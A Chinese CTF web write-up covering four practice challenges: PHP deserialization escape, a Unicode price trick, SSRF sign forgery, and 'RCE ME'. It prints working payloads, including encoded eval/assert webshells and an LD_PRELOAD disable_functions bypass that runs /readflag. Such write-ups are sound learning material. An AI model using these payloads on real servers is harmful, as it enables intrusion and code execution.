当前位置: 首页 > news >正文

渗透测试练习题解析 5(CTF web)

1、[安洵杯 2019]easy_serialize_php 1

考点:PHP 反序列化逃逸 + 变量覆盖

【代码审计】

通过 GET 的方式获取参数 f 的值,传递给变量 function

定义一个过滤函数,过滤掉特定字符(用空字符替换)

下面的代码其实没什么用,应该是干扰,对做题没影响

extract () 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数存在变量覆盖漏洞,我们只需要从新传递变量的值就可以将原来的覆盖掉。

变量覆盖漏洞_extract变量覆盖漏洞-CSDN博客

这里就是我们刚进去的页面,当 $function 为空值的时候输出该跳转链接

通过 img_path 的值来为 $_SESSION['img'] 传递指定的值,加上 $_SESSION['img'] 在 extract () 后面,导致我们无法直接为其赋值

对 $_SESSION 进行序列化然后再进行敏感字符过滤,这会导致反序列化逃逸

代码通过判断参数 f 的值来输出指定文件,当 f=highlight_file 就输出 index.php 文件的内容到页面,其他的一样

根据代码的提示,我们构造 f=phpinfo ,然后寻找敏感信息,最终找到一个文件名,猜测 flag 应该在其中

值得注意的是

如果 f=show_image ,那么就会对前面序列化的字符串进行反序列化,然后再进过一次 base64 解码,高亮解码后的文件

【解题思路】

经过前面代码的分析,解题思路就有了。

序列化的时候是对下面三个变量同时序列化的

$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;$_SESSION['img']=base64_encode('guest_img.png');

而前两个变量是可以通过变量覆盖漏洞进行修改的

$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;

由于该题对字符串过滤是先序列化再过滤再反序列化,存在反序列化逃逸,我们可以通过对前两个变量的构造从而实现对 img 的赋值

正常情况下来讲,该代码序列化的过程

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'show_image';
$_SESSION['img'] = 'guest_img.php';echo serialize($_SESSION);?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:13:"guest_img.php";}

我们需要把 img 的值改成 d0g3_f1ag.php 经过 base64 编码后的字符串,因为在高亮函数数会经过一次解码所以传进去的必须提前编码好

d0g3_f1ag.php   ----- base64 -----> ZDBnM19mMWFnLnBocA==

我们修改一下$_SESSION['function']、$_SESSION['img'] 的值【注意:这里只是为构造 payload 而测试的,并不是直接改题目中 $_SESSION['img'] 的值,那个是改不了的】

(变量值写 a 只是为了方便计算)

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';echo serialize($_SESSION);?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

反序列化逃逸,如果经过过滤后,键值的字符减少了(但是原本长度是不会变的),他就会向后读取对应的字符数补到和原长度一样,我们截取这么一段

a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';echo serialize($_SESSION);?>

序列化后

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

经过过滤,flag 全部被过滤掉,先后取 24 为补足长度,所以 ";s:8:"function";s:42:"a 就变成了 user 的值,";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 在花括号外面,会被忽略掉

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

但是这样只有两个键值对,而代码要满足三个,所以我们自己再补一个键值对

payload:

a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"cc";s:1:"1";}

接下来就构造获取 flag 的 payload

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"cc";s:1:"1";}

然后查看网页源代码

把 /d0g3_fllllllag 进行 base64 加密一下(L2QwZzNfZmxsbGxsbGFn),套进前面的 payload 中,继续

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"cc";s:1:"1";}

【拓展】

反序列化逃逸分为两种

①、关键词数增加

        例如:from -> where (数量由 4 到了 5)

②、关键词数减少

        例如:将一些关键词替换成空格,那词数就减少了(本体属于这种)

第一种逃逸方法:构造多个关键字

第二种逃逸方法:

        1、值逃逸:需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去了,单独作为一个键值对

        2、键逃逸:只需要一个键值对,我们直接构造会被过滤的键,这样值的一部分充当键,剩下的一部分作为单独键值对

2、[ASIS 2019]Unicorn shop 1

考点:Unicode转换

进入靶场,我按照提示输入信息:

错误提示:只允许输入一个字符

什么意思,没太明白,我们查看一下页面源代码

访问发现没什么,还是同样的界面

翻译一下

那么随便输入一个字符看看

分析到这里我就做不出来了,后来看了别人的 wp

这些都能成功,好像只有第四个商品可以购买,且价格只要大于千位即可,用字符来替代

3、[De1CTF 2019]SSRF Me 1

考点:Python 代码审计

【代码审计】

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask     # flask 框架
from flask import request
import socket               # socket 模块可以创建套接字
import hashlib              # 算法模块
import urllib               # python爬虫库,网络请求模块
import sys                  # sys 模块主要负责与 Python 解释器进行交互,该模块提供了一系列用于控制 Python 运行环境的函数和变量
import os                   # os 模块主要负责与操作系统进行交互
import json                 # 专门处理 json 格式的模块reload(sys)                       # reload()函数将以前导入过的模块再加载一次
sys.setdefaultencoding('latin1')  # 设置默认编码为 latin1 字符集app = Flask(__name__)secert_key = os.urandom(16)       # 生成随机加密字符,参数表示需要生成的随机字节串的长度。生成的随机字节串会以二进制形式返回。class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addros.mkdir(self.sandbox)   # 不存在的话就创建def Exec(self):result = {}             # 字典result['code'] = 500    # 令键 code 的值为 500if (self.checkSign()):  # 检查签名# 由下面代码可以猜测 self.action 的值为 :scanread | readsacnif "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) # 保存 scan 返回的 flag.txt 中的数据# 判断是否超时if (resp == "Connection Timeout"):result['data'] = respelse:print(resp)tmpfile.write(resp)   # 将 flag.txt 中的数据写入 result.txt 文件中tmpfile.close()       # 关闭文件result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()  # 把 result.txt 中的数据读取出来保存到字典中if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign):return Trueelse:return False# generate Sign For Action Scan.
# 三个路由的执行是通过 URL 来判断的,没有参数的话执行 index() 获取源码
# 根据目录下文件的不同执行不同的路由
# 题目提示给出:flag is in ./flag.txt
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():# unquote 对 URL 进行解码;quote 对字符串进行 URL 编码# request.args.get 获取地址中的参数(键 param)param = urllib.unquote(request.args.get("param", ""))action = "scan"# 键获取的 param 和 action 传入 getSignreturn getSign(action, param)
# 该函数给我们返回的是 secert_key + param + action 的 MD5 值
# 通过这个路由可以构造 payload : /geneSign?param=flag.txt  得到:d36e748ebd776f0bf1f7b4f131f91ca2@app.route('/De1ta',methods=['GET','POST'])
def challenge():# 获取 cookie 中 action 字段的值action = urllib.unquote(request.cookies.get("action"))# 获取地址中 param 参数的值param = urllib.unquote(request.args.get("param", ""))# 获取 cookie 中 sign 字段的值sign = urllib.unquote(request.cookies.get("sign"))# 表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的ip = request.remote_addr# 把参数 param 的值传给 waf()函数if(waf(param)):return "No Hacker!!!!"#创建实例化对象 tasktask = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')
def index():return open("code.txt","r").read()def scan(param):socket.setdefaulttimeout(1)  # 设置超时时间try:return urllib.urlopen(param).read()[:50] # 读取 flag.txt 中的数据except:return "Connection Timeout"def getSign(action, param):# 根据前面的函数,传过来的 action == “scan" , param 为地址中 param 参数的值# 由于在 Exec 中要检测签名,而 scan 作为默认值传过来,所以 read 我们要自己加上去才能满足条件# param=flag.txtread,拼接起来就是 secert_key + flag.txtreadscanreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):# 对 content 进行 md5 加密,结果以十六进制的形式返回【digest :表示二进制形式】return hashlib.md5(content).hexdigest()def waf(param):# 去除 param 值两边的空格,然后大写转小写check=param.strip().lower()# startswith 判断字符串是否以指定字符串开头if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = False# 通过 run()方法启用本地开发服务器app.run(host='0.0.0.0')# 解题思路:
# 方法一:字符串拼接
# 由类方法 Exec 可知,我们要做的是绕过 self.checkSign() 只有绕过了才能顺利进入
# 由 checkSign() 我们定位到 getSign 函数,最终的 MD5 值我们只需要通过 geneSign() 构造 payload 即可获取到
# payload1:/geneSign?param=flag.txtread => 1b49e5550464c8d432c4eddae4376413 ,这个就是我们 getSign 的值
# 而 self.sign 的值是通过 cookie 传递的,所以我们构造 payload2:进入/De1ta?param=flag.txt页面,令 Cookie:sign=1b49e5550464c8d432c4eddae4376413;action=readscan

4、[极客大挑战 2019]RCE ME 1

考点:代码审计 + 取反绕过 preg_match() + 劫持 SO + RCE

进入靶场,需要代码审计

发现两个敏感的关键字:preg_match() 、eval()

        preg_match() :执行正则匹配表达式

        eval() :eval()函数把括号里面内容按照php代码处理

审计代码,要求我们输入的参数 code 不能大于 40 字节,且要绕过正则匹配才可以执行 eval,我们的目的就是要执行 eval,因为该函数可以把它的参数当成 PHP 代码执行

发现正则过滤了大小写字母以及数字,这里可以利用 url 编码取反绕过,或者异或绕过

url 编码取反绕过

<?php$s = 'phpinfo';
echo urlencode(~$s);?>

urlencode 的参数中 ~ 表示取反的意思

这里的 ~ 和 ! 有所不同,~ 是按位取反,!是逻辑取反(即真为假,假为真)

运行结果

%8F%97%8F%96%91%99%90

我们在 url 中传入的参数,在服务器后端会进行 url 解码,由于该字符是取反过后的结果,所以直接解码后会成为不可打印的字符,从而绕过正则

这里推荐末初师傅的一篇文章:

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

构造 payload:

?code=(~%8F%97%8F%96%91%99%90)();

解析:

        这里的 %8F%97%8F%96%91%99%90 需要再取一次反,因为在编码的时候取了一次反,在 url 中再取一次,服务器进行 url 解码的时候才能解成 phpinfo ,而括号最后的 (); 是 phpinfo(); 的 ();,只不过这个括号没进行编码,所以要拼接上去

经过一番搜索里面并没有我们要的 flag ,但是发现了一个关键的东西

        disable_functions 是 php.ini 中的一个设置选项。相当于一个黑名单,可以用来设置 PHP 环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。

还查看了一下 PHP 的版本

通过一句话木马来获取 shell

通过 phpinfo 可以发现 PHP 的版本为 7.0 且 disable_functions 没有过滤掉 assert() ,在 PHP 7.0 版本中,assert() 有个特点:如果参数是字符串,将解释为 PHP 代码,并通过 eval() 执行。

由于 eval 属于 PHP 语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过变量函数的形式来调用,因为当前版本为 7.0,所以我们可以用 assert 来替代 eval 

格式:

(assert)(eval($_POST["test"]))

动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客

更详细的话看这篇

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

<?php$a='assert';$b=urlencode(~$a);echo $b;echo "<br>";$c='(eval($_POST["test"]))';$d=urlencode(~$c);echo $d;?>

构造 payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

发现 flag ,但是读取不了,应该要用到 readflag 这个文件

通过看其他师傅的文章,本地有预期解和非预期解

预期解:劫持 SO

利用 LD_PRELOAD + putenv 打组合拳

1、 LD_PRELOAD  :这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用

深入分析 LD_PRELOAD-CSDN博客

2、putenv  可以设置环境变量,添加 setting 到服务器环境变量,该环境变量仅存在于当前请求期间,在请求结束时会回复到初始状态

putenv 函数解析

这里我说一下劫持 SO 的原理:

        在 Unix 操作系统中,程序运行时会按照一定的规则顺序去查找依赖的动态链接库,当查找到指定的 so 文件时,动态链接器会将程序所依赖的共享对象进行装载和初始化,至于为何可以使用 so 文件进行函数劫持,这与 Linux 的特性有关,两个 so 文件定义了同名函数,程序在调用该函数时,会调用先加载的 so 中的函数,后加载的将会被屏蔽掉。所以要实现劫持就要时我们上传的恶意程序先执行。

        环境变量 LD_PRELOAD 以及配置文件 /etc/ld.so.preload 可以帮我们实现,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载动态链接库,只需要通过 LD_PRELOAD 加载的 so 中编写我们需要 hook 的同名函数,即可实现劫持。

这里需要下载两个文件

1、bypass_disablefunc.php

2、bypass_disablefunc_x64.so

下载地址:

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)

对 bypass_disablefunc.php 文件进行一些修改,命名为 shell.php

<?php//shell.phpecho "成功执行了shell.php";$cmd = '/readflag';//这个是需要执行的文件,这里是“/readflag”$out_path = '/tmp/flag.txt';//将读取到的文件放在/tmp/flag.txt中$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";//将读取到的flag放入/tmp/flag.txt中putenv("EVIL_CMDLINE=" . $evil_cmdline);//$so_path = "/tmp/bypass_disablefunc_x64.so";//这个so文件之前已经上传到/tmp中putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; //读取/tmp/flag.txt文件内容unlink($out_path);
?>

上传两个文件

构造 payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/shell.php%27)

非预期解:蚁剑插件 disable_functions

        在获取了无用 shell 之后,我们需要绕过 disable_functions,可以使用蚁剑的插件绕过,如下是具体安装方法:windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions-CSDN博客

这里就不具体讲解了,有兴趣了解一下,这个是用工具来解题的

[极客大挑战 2019]RCE ME_[极客大挑战 2019]rce me 1-CSDN博客

【拓展】

异或绕过

        在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。

<?phpecho ('~'^'?');?>

得到的结果:A

这里直接拿别人的 payload

?code=(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)();

做本题搜索过的相关知识文章:

分析webshell(php)以及eval与assert区别 - FreeBuf网络安全行业门户

动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客

[极客大挑战 2019]RCE ME_[极客大挑战 2019]rce me 1-CSDN博客

[极客大挑战 2019]RCE ME 1 - 微草wd - 博客园 (cnblogs.com)

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

命令执行中关于PHP正则表达式的一些绕过方法_正则表达式中过滤的怎么绕过-CSDN博客

绕过 disable_functions 的相关文章:

无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户

bypass disable_functions姿势总结 - 先知社区 (aliyun.com)

绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户

相关文章:

渗透测试练习题解析 5(CTF web)

1、[安洵杯 2019]easy_serialize_php 1 考点&#xff1a;PHP 反序列化逃逸 变量覆盖 【代码审计】 通过 GET 的方式获取参数 f 的值&#xff0c;传递给变量 function 定义一个过滤函数&#xff0c;过滤掉特定字符&#xff08;用空字符替换&#xff09; 下面的代码其实没什么用…...

PCA(Principal Component Analysis,主成分分析)

PCA&#xff08;Principal Component Analysis&#xff0c;主成分分析&#xff09;是一种在数据分析中广泛应用的统计方法&#xff0c;主要用于数据降维、可视化和去噪。以下是对PCA的发展史、工作原理以及理论基础的详细解释&#xff1a; Principal Component Analysis 一、PC…...

干货 | 探索CUTTag:从样本到文库,实验步步为营!

CUT&Tag&#xff08;Cleavage Under Targets and Tagmentation&#xff09;是一种新型DNA-蛋白互作研究技术&#xff0c;主要用于研究转录因子或组蛋白修饰在全基因组上的结合或分布位点。相比于传统的ChIP-seq技术&#xff0c;CUT&Tag反应在细胞内进行&#xff0c;创新…...

提质不增本,降本不降质

#公益巡讲# #质量万里行# 公开课、沙龙活动...

数据结构---顺序表实现

目录 1.顺序表 2.动态顺序表的实现 &#xff08;4&#xff09;顺序表初始化 &#xff08;5&#xff09;顺序表销毁 &#xff08;6&#xff09;顺序表的插入 a.尾插 b.头插 &#xff08;7&#xff09;顺序表的删除 a.尾删 b.头删 &#xff08;8&#xff09;指定位置之…...

python docx 添加动态表格

在Python中&#xff0c;使用python-docx库可以创建Word文档并添加动态表格。以下是一个简单的例子&#xff0c;演示如何创建一个包含动态内容的表格&#xff1a; from docx import Document# 创建一个Word文档 document Document()# 添加一个标题 document.add_heading(动态表…...

git配置多SSH

目的&#xff1a; 一台电脑可以让github、gitee等账号同时存在&#xff0c;让不同账号配置不同的密钥 第一步&#xff1a;创建不同平台的SSH公钥 执行命令&#xff1a; ssh-keygen -t rsa -C "对应仓库邮箱地址" -f ~/.ssh/id_rsa.github 如果执行上面的命令&…...

IDEA连接SqlServer数据库

目录 下载jar包 下载sqljdbc_12.6压缩包 解压 导入IDEA 新建文件夹 复制粘贴进JDBC文件夹并设为library 编写类及方法 代码 下载jar包 以sqljdbc_12.6为例 下载sqljdbc_12.6压缩包 最新地址&#xff1a;sqljdbc 官方最新地址 解压 解压即用 导入IDEA 新建文件夹 复制…...

LeetCode 378 有序矩阵中第K小的元素

题目信息 LeetoCode地址: . - 力扣&#xff08;LeetCode&#xff09; 题解内容大量转载于&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目理解 题意很直观&#xff0c;就是求二维矩阵中所有元素排序后第k小的数。 最小堆写法 该写法不再赘述&#xff0c;维护…...

Vue3(domdiff)最长递归子序列求解简易版(超简单)

Vue3&#xff08;domdiff&#xff09;最长递归子序列求解简易版 ⚠️ 关键词&#xff08;每一个都需要理解&#xff09;js 代码实现写完感想欢迎关注 ⚠️ 关键词&#xff08;每一个都需要理解&#xff09; 动态规划&#xff08;O(N^2)&#xff09;&#xff08;不提倡&#xf…...

LLaMA-Factory+qwen多轮对话微调

LLaMA-Factory地址&#xff1a;https://github.com/hiyouga/LLaMA-Factory/blob/main/README_zh.md qwen地址&#xff1a;https://huggingface.co/Qwen/Qwen-7B-Chat/tree/main 数据准备 数据样例 [ {"id": "x3959", "conversations": [{&qu…...

邦芒面试:如何在面试中巧妙回答自己的缺点

在面试中&#xff0c;被问及自己的缺点时&#xff0c;如何巧妙回答是一门学问。恰当的回答不仅能够展示你的自我认知&#xff0c;还能让面试官看到你的成长潜力和积极态度。 首先&#xff0c;切忌谈一些看似缺点实则优点的话题&#xff0c;如追求完美、待人接物太客气等。这些…...

Android:身份证识别功能实现

说明&#xff1a; 此文使用华为SDK、百度SDK、百度在线API三种方式实现。 一、使用华为SDK实现身份证识别&#xff1a; 说明&#xff1a;免费&#xff0c;不需要联网。 1.AndroidManifest.xml添加权限&#xff1a;<uses-permission android:name"android.permissio…...

MacOS安装Homebrew教程

安装 Homebrew 是在 macOS 上管理软件包的一种简便方法。以下是安装 Homebrew 的步骤&#xff1a; 打开终端&#xff1a;你可以通过在 Spotlight 搜索栏中输入“终端”并按下回车键来打开 macOS 的终端应用程序。 执行安装命令&#xff1a;在终端中粘贴以下命令并按下回车键执…...

laravel如何通过DB获取一条数据并转成数组

在 Laravel 中&#xff0c;你可以使用原生数据库查询构建器&#xff08;DB facade&#xff09;来获取一条数据&#xff0c;并将其转换为数组。这可以通过在查询链的末尾调用 first() 方法后&#xff0c;使用 toArray() 方法来实现。first() 方法会返回一个 StdClass 对象&#…...

ENSP USG防火墙接入虚拟机;开启Web访问;

1.添加防火墙及云&#xff0c;启动防火墙&#xff1b; 2.配置桥接网卡&#xff1b; 默认账户&#xff1a;admin 默认密码&#xff1a;Admin123 #第一次登陆需修改密码&#xff1b; 默认G0/0/0口为管理口&#xff0c;而在模拟器中进入防火墙的web需如下配置&#xff1a; 配置 …...

数据结构算法题(力扣)——链表

以下题目建议大家先自己动手练习&#xff0c;再看题解代码。这里只提供一种做法&#xff0c;可能不是最优解。 1. 移除链表元素&#xff08;OJ链接&#xff09; 题目描述&#xff1a;给一个链表的头节点 head 和一个整数 val &#xff0c;删除链表中所有满足值等于 val 的节点…...

LeetCode---391周赛

题目列表 3099. 哈沙德数 3100. 换水问题 II 3101. 交替子数组计数 3102. 最小化曼哈顿距离 一、哈沙德数 简单的模拟题&#xff0c;代码如下 class Solution { public:int sumOfTheDigitsOfHarshadNumber(int x) {int s 0, tmp x;while(tmp){stmp%10;tmp/10;}return x…...

微信小程序的页面交互2

一、自定义属性 &#xff08;1&#xff09;定义&#xff1a; 微信小程序中的自定义属性实际上是由data-前缀加上一个自定义属性名组成。 &#xff08;2&#xff09;如何获取自定义属性的值&#xff1f; 用到target或currentTarget对象的dataset属性可以获取数据 &#xff…...

【VSCode】修改插件地址

不想放在原始C盘下面C:\Users\{用户}\.vscode\extensions为了后续存储空间考虑&#xff0c;想通过添加环境变量创建名为VSCODE_EXTENSIONS的环境变量&#xff0c;内容指向vs Code扩展所在目录即可 直接配置环境变量&#xff0c;不要在有空格的文件夹下面 变量名称&#xff1a;…...

自然语言处理NLP概述

大家好&#xff0c;自然语言处理(NLP)是计算机科学领域与人工智能领域中的一个重要方向&#xff0c;其研究能实现人与计算机之间用自然语言进行有效通信的各种理论和方法。本文将从自然语言处理的本质、原理和应用三个方面&#xff0c;对其进行概述。 一、NLP的本质 NLP是一种…...

计算机网络——37认证

认证 目标&#xff1a;Bob需要Alice证明他的身份 Protocol ap1.0&#xff1a;Alice说"A am Alice" 可能出现的问题&#xff1a; 在网络上Bob看不到Alice&#xff0c;因此Trudy可以简单的声称他是Alice 认证&#xff1a;重新尝试 Protocol ap2.0&#xff1a;Alice…...

Java中利用BitMap位图实现海量级数据去重

&#x1f3f7;️个人主页&#xff1a;牵着猫散步的鼠鼠 &#x1f3f7;️系列专栏&#xff1a;Java全栈-专栏 &#x1f3f7;️个人学习笔记&#xff0c;若有缺误&#xff0c;欢迎评论区指正 目录 前言 什么是BitMap&#xff1f;有什么用&#xff1f; 基本概念 位图的优势 …...

Linux知识点记录

Linux知识点记录 1. 后台运行应用程序方法一&#xff1a;&方法二&#xff1a;nohup & 2. 一个shell脚本中执行多个应用程序3. 2>&14. shell脚本清除日志5. 通过grep查找匹配字符串 1. 后台运行应用程序 参考文章&#xff1a;https://blog.csdn.net/Pan_peter/…...

js的check函数

在JavaScript中&#xff0c;并没有一个内置的名为check的函数。然而&#xff0c;你可以根据需求自定义一个check函数&#xff0c;用于执行各种验证和检查任务。这个check函数的具体作用完全取决于你如何定义和实现它。 以下是一个简单的示例&#xff0c;展示了如何定义一个che…...

赛尼格磁电科技邀您到场参观2024第13届生物发酵展

参展企业介绍 北京赛尼格磁电科技有限公司是一家中加合资的专业永磁组件生产商&#xff0c;2001年成立于中国北京。公司专业从事磁性材料的应用及各类磁系统的设计、开发及制造&#xff0c;公司产品广泛应用于汽车行业、建筑行业、电子行业、航海领域、医学领域、教育领域等。 …...

gpt国内怎么用?最新版本来了

claude 3 opus面世后&#xff0c;这几天已经有许多应用&#xff0c;而其精确以及从不偷懒&#xff08;截止到2024年3月11日还没有偷懒&#xff09;的个性&#xff0c;也使得我们可以用它来首次完成各种需要多轮对话的尝试。 今天我们想要进行的一项尝试就是—— 如何从一个不知…...

Vim脚本语言入门:打造你的编辑器

简介 Vim脚本语言是Vim编辑器内置的一种脚本语言&#xff0c;它赋予用户高度的定制和自动化编辑任务的能力。通过编写Vim脚本&#xff0c;用户可以根据自己的需求来扩展和改进Vim编辑器的功能&#xff0c;从而提高编辑效率和舒适度。 在Vim中&#xff0c;脚本语言被广泛用于创…...

myweb项目资料集

项目要求 前后端分离后端采用 flask 框架前端采用 vue3 框架 后端部分 Flask 3 框架&#xff1a; https://dormousehole.readthedocs.io/en/latest/quickstart.html Session&#xff1a; https://blog.csdn.net/zhangvalue/article/details/93892241 MySQL 操作&#xf…...

Kubernetes(k8s):部署、使用 metrics-server

Kubernetes&#xff08;k8s&#xff09;&#xff1a;部署、使用 metrics-server 一、metrics-server简介二、部署metrics-server2.1、 下载 Metrics Server 部署文件2.2、修改metrics-server.yaml 文件2.3、 部署 Metrics Server2.4、 检查 Metrics Server 三、使用 Metrics Se…...

国外做内容网站/专业网页设计和网站制作公司

ENVI和ArcGIS一体化集成技术使得遥感和GIS实现了一体化的应用。对于一些初学者来说利用Python脚本将ENVI/IDL编写的图像处理功能集成到ArcGIS中&#xff0c;进行一体化的数据处理和分析时可能会遇到一些问题&#xff0c;因为涉及到两种语言(IDL和python)的混合编程。混合编程成…...

做论坛网站多少钱/电子商务平台

## re模块众多编程语言都为正则表达式的使用设置了标准库&#xff0c;Python也不例外。在Python中使用re模块来操作正则表达式的匹配。下面我们一起学习re模块的用法。### 使用re还是compile对象在re模块中可以直接调用一些正则表达式操作函数&#xff0c;而这些函数也可以使用…...

客户为什么要做网站/seo专业优化公司

​ 先把SpringBoot中filter的使用示例写出来&#xff0c;然后再解释下代码、说一下运行的顺序&#xff0c;最后讲一下filter的原理&#xff08;其实就是责任链设计模式&#xff0c;从马士兵老师那里偷来的。。。&#xff09; ​ 要想使用filter&#xff0c;需要写一个方法继承…...

企业手机网站建/游戏代理加盟平台

//实现链队的各种基本运算的算法 #include <stdio.h> #include <malloc.h> typedef char Elemtype; typedef struct qnode //数据节点 { Elemtype data; //存放元素 struct qnode *next; //下一个节点指针 }DataNode; //链队数据节点的类型 typedef struct { DataN…...

wordpress mysql配置文件/百度app交易平台

在sql/plus中可调用dbms_metadata.get_ddl()函数来查看数据库对象的ddl&#xff0c;便于显示&#xff0c;先设置如下参数&#xff1a;set line 200&#xff1b;--设置行宽为200字符set pagesize 0&#xff1b;--设置每页的行数为0,(避免分页)set long 99999&#xff1b;--设置…...

100个免费网页设计模板/重庆做网络优化公司电话

USB4系统结构由USB4主机&#xff0c;USB4集线器和USB4功能设备这3部分组成。USB4主机可以是支持USB4的笔记本和平板等&#xff0c;至少需要一个USB Type-C接口&#xff0c;支持USB 3.2数据传输&#xff0c;PCIe数据传输和DisplayPort视频信号传输。USB4集线器是一个USB4接口扩展…...